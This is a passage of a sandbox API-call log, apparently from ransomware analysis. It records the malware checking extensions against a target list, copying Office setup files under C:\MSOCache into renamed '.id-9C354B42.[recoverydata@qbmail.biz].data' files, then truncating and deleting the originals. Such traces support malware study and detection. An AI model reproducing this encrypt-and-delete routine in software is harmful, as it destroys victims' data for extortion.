[0076.996] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.996] lstrlenW (lpString=".xls") returned 4 [0076.996] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.996] lstrlenW (lpString=".xlsx") returned 5 [0076.996] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0076.996] lstrlenW (lpString=".ppt") returned 4 [0076.996] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.997] lstrlenW (lpString=".zip") returned 4 [0076.997] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.997] lstrlenW (lpString=".rar") returned 4 [0076.997] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.997] lstrlenW (lpString=".bz2") returned 4 [0076.997] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.997] lstrlenW (lpString=".7z") returned 3 [0076.997] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.997] lstrlenW (lpString=".dbf") returned 4 [0076.997] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.997] lstrlenW (lpString=".1cd") returned 4 [0076.997] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.997] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.997] lstrlenW (lpString=".jpg") returned 4 [0076.997] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.998] lstrlenW (lpString=".doc") returned 4 [0076.998] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString=".docx") returned 5 [0076.998] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0076.998] lstrlenW (lpString=".pdf") returned 4 [0076.998] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString=".xls") returned 4 [0076.998] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString=".xlsx") returned 5 [0076.998] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0076.998] lstrlenW (lpString=".ppt") returned 4 [0076.998] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.998] lstrlenW (lpString=".zip") returned 4 [0076.998] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0076.998] lstrlenW (lpString=".rar") returned 4 [0076.998] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString=".bz2") returned 4 [0076.998] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0076.998] lstrlenW (lpString=".7z") returned 3 [0076.998] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0076.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.999] lstrlenW (lpString=".dbf") returned 4 [0076.999] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0076.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.999] lstrlenW (lpString=".1cd") returned 4 [0076.999] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0076.999] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\InfoPathMUI.xml") returned 78 [0076.999] lstrlenW (lpString=".jpg") returned 4 [0076.999] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0076.999] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0076.999] lstrlenW (lpString="Setup.xml") returned 9 [0076.999] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0076.999] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1852) returned 1 [0077.000] CloseHandle (hObject=0x1d0) returned 1 [0077.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0077.000] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0077.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0077.000] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.000] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.000] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b8 [0077.000] GetLastError () returned 0x0 [0077.001] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x73c, lpOverlapped=0x0) returned 1 [0077.003] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x740, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x740, lpOverlapped=0x0) returned 1 [0077.004] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0077.004] WriteFile (in: hFile=0x1b8, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0077.005] SetEndOfFile (hFile=0x1b8) returned 1 [0077.005] CloseHandle (hObject=0x1b8) returned 1 [0077.008] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.008] SetEndOfFile (hFile=0x1d0) returned 1 [0077.009] CloseHandle (hObject=0x1d0) returned 1 [0077.010] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0077.010] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0044-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0077.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.011] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.011] lstrlenW (lpString=".doc") returned 4 [0077.011] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.011] lstrlenW (lpString=".docx") returned 5 [0077.011] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0077.011] lstrlenW (lpString=".pdf") returned 4 [0077.011] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.011] lstrlenW (lpString=".xls") returned 4 [0077.011] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.011] lstrlenW (lpString=".xlsx") returned 5 [0077.012] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0077.012] lstrlenW (lpString=".ppt") returned 4 [0077.012] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.012] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.012] lstrlenW (lpString=".zip") returned 4 [0077.012] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.012] lstrlenW (lpString=".rar") returned 4 [0077.012] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.012] lstrlenW (lpString=".bz2") returned 4 [0077.012] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.012] lstrlenW (lpString=".7z") returned 3 [0077.012] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.013] lstrlenW (lpString=".dbf") returned 4 [0077.013] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.013] lstrlenW (lpString=".1cd") returned 4 [0077.013] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.013] lstrlenW (lpString=".jpg") returned 4 [0077.013] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.013] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.014] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.014] lstrlenW (lpString=".doc") returned 4 [0077.014] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0077.014] lstrlenW (lpString=".docx") returned 5 [0077.014] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0077.014] lstrlenW (lpString=".pdf") returned 4 [0077.014] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0077.014] lstrlenW (lpString=".xls") returned 4 [0077.014] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0077.014] lstrlenW (lpString=".xlsx") returned 5 [0077.015] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0077.015] lstrlenW (lpString=".ppt") returned 4 [0077.015] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0077.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.015] lstrlenW (lpString=".zip") returned 4 [0077.015] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0077.015] lstrlenW (lpString=".rar") returned 4 [0077.015] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0077.015] lstrlenW (lpString=".bz2") returned 4 [0077.015] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0077.015] lstrlenW (lpString=".7z") returned 3 [0077.015] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0077.015] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.016] lstrlenW (lpString=".dbf") returned 4 [0077.016] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0077.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.016] lstrlenW (lpString=".1cd") returned 4 [0077.016] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0077.016] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0044-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0077.016] lstrlenW (lpString=".jpg") returned 4 [0077.016] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0077.017] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0077.017] lstrlenW (lpString="Setup.xml") returned 9 [0077.017] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0077.556] GetFileSizeEx (in: hFile=0x1c0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=6241) returned 1 [0077.556] CloseHandle (hObject=0x1c0) returned 1 [0077.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0077.556] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0077.556] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c0 [0077.556] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.556] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0077.557] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x200 [0078.199] GetLastError () returned 0x0 [0078.199] ReadFile (in: hFile=0x1c0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x1861, lpOverlapped=0x0) returned 1 [0079.209] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x1870, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x1870, lpOverlapped=0x0) returned 1 [0079.211] ReadFile (in: hFile=0x1c0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.211] WriteFile (in: hFile=0x200, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.211] SetEndOfFile (hFile=0x200) returned 1 [0079.212] CloseHandle (hObject=0x200) returned 1 [0079.218] SetFilePointerEx (in: hFile=0x1c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.218] SetEndOfFile (hFile=0x1c0) returned 1 [0079.220] CloseHandle (hObject=0x1c0) returned 1 [0079.220] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.221] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0054-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0079.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.221] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.221] lstrlenW (lpString=".doc") returned 4 [0079.221] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.221] lstrlenW (lpString=".docx") returned 5 [0079.222] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.222] lstrlenW (lpString=".pdf") returned 4 [0079.222] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.222] lstrlenW (lpString=".xls") returned 4 [0079.222] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.222] lstrlenW (lpString=".xlsx") returned 5 [0079.222] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.222] lstrlenW (lpString=".ppt") returned 4 [0079.222] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.222] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.222] lstrlenW (lpString=".zip") returned 4 [0079.222] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.222] lstrlenW (lpString=".rar") returned 4 [0079.222] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.222] lstrlenW (lpString=".bz2") returned 4 [0079.223] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.223] lstrlenW (lpString=".7z") returned 3 [0079.223] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.223] lstrlenW (lpString=".dbf") returned 4 [0079.223] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.223] lstrlenW (lpString=".1cd") returned 4 [0079.223] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.223] lstrlenW (lpString=".jpg") returned 4 [0079.223] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.223] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.223] lstrlenW (lpString=".doc") returned 4 [0079.223] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0079.223] lstrlenW (lpString=".docx") returned 5 [0079.223] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0079.223] lstrlenW (lpString=".pdf") returned 4 [0079.224] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString=".xls") returned 4 [0079.224] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString=".xlsx") returned 5 [0079.224] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0079.224] lstrlenW (lpString=".ppt") returned 4 [0079.224] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.224] lstrlenW (lpString=".zip") returned 4 [0079.224] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0079.224] lstrlenW (lpString=".rar") returned 4 [0079.224] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString=".bz2") returned 4 [0079.224] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString=".7z") returned 3 [0079.224] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0079.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.224] lstrlenW (lpString=".dbf") returned 4 [0079.224] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0079.224] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.225] lstrlenW (lpString=".1cd") returned 4 [0079.225] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0079.225] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0054-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.225] lstrlenW (lpString=".jpg") returned 4 [0079.225] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0079.225] lstrcmpiW (lpString1=".xml", lpString2=".data") returned 1 [0079.225] lstrlenW (lpString="Setup.xml") returned 9 [0079.225] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0079.734] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x2acff1c | out: lpFileSize=0x2acff1c*=1452) returned 1 [0079.734] CloseHandle (hObject=0x1d0) returned 1 [0079.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0079.734] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data")) returned 0xffffffff [0079.734] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0079.735] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.735] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.735] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[recoverydata@qbmail.biz].data"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0079.736] GetLastError () returned 0x0 [0079.736] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x5ac, lpOverlapped=0x0) returned 1 [0079.743] WriteFile (in: hFile=0x194, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0x5b0, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0x5b0, lpOverlapped=0x0) returned 1 [0079.745] ReadFile (in: hFile=0x1d0, lpBuffer=0x3dc0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2acfed4, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesRead=0x2acfed4*=0x0, lpOverlapped=0x0) returned 1 [0079.745] WriteFile (in: hFile=0x194, lpBuffer=0x3dc0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2acfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3dc0020*, lpNumberOfBytesWritten=0x2acfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0079.745] SetEndOfFile (hFile=0x194) returned 1 [0079.746] CloseHandle (hObject=0x194) returned 1 [0079.747] SetFilePointerEx (in: hFile=0x1d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2acfec8 | out: lpNewFilePointer=0x0) returned 1 [0079.747] SetEndOfFile (hFile=0x1d0) returned 1 [0079.748] CloseHandle (hObject=0x1d0) returned 1 [0079.748] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[recoverydata@qbmail.biz].data", dwFileAttributes=0x2020) returned 1 [0079.748] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00ba-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0079.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.749] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00BA-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0079.749] lstrlenW (lpString=".doc") returned 4 